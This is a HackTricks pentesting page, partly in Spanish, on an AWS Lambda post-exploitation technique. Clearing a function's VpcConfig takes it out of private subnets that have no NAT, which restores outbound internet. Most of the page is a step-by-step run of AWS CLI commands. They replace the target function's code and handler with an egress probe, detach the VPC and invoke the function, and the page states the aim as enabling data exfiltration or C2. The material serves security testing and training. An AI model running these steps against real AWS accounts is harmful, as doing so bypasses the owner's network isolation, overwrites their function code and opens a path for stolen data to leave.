hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md

AWS Lambda – VPC Egress Bypass by Detaching VpcConfig

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Forzar una función Lambda fuera de una VPC restringida actualizando su configuración con un VpcConfig vacío (SubnetIds=[], SecurityGroupIds=[]). La función entonces se ejecutará en el plano de red gestionado por Lambda, recuperando el acceso a internet saliente y bypassing egress controls aplicados por subredes privadas de la VPC sin NAT.

Abusing it

• Pre-reqs: lambda:UpdateFunctionConfiguration on the target function (and lambda:InvokeFunction to validate), plus permissions to update code/handler if changing them.
• Assumptions: The function is currently configured with VpcConfig pointing to private subnets without NAT (so outbound internet is blocked).
• Region: us-east-1

Steps

0. Prepare a minimal handler that proves outbound HTTP works

cat > net.py <<'PY' import urllib.request, json

def lambda_handler(event, context): try: ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip() return {"egress": True, "ip": ip} except Exception as e: return {"egress": False, "err": str(e)} PY zip net.zip net.py aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true

1. Record current VPC config (to restore later if needed)

aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json cat /tmp/orig-vpc.json

2. Detach the VPC by setting empty lists

aws lambda update-function-configuration
--function-name $TARGET_FN
--vpc-config SubnetIds=[],SecurityGroupIds=[]
--region $REGION until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done

3. Invoke and verify outbound access

aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null cat /tmp/net-out.json

(Optional) Restore original VPC config

if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json) aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION fi

Impact

• Regains unrestricted outbound internet from the function, enabling data exfiltration or C2 from workloads that were intentionally isolated in private subnets without NAT.

Example output (after detaching VpcConfig)

{"egress": true, "ip": "34.x.x.x"}

Cleanup

• If you created any temporary code/handler changes, restore them.
• Optionally restore the original VpcConfig saved in /tmp/orig-vpc.json as shown above. {{#include ../../../../banners/hacktricks-training.md}}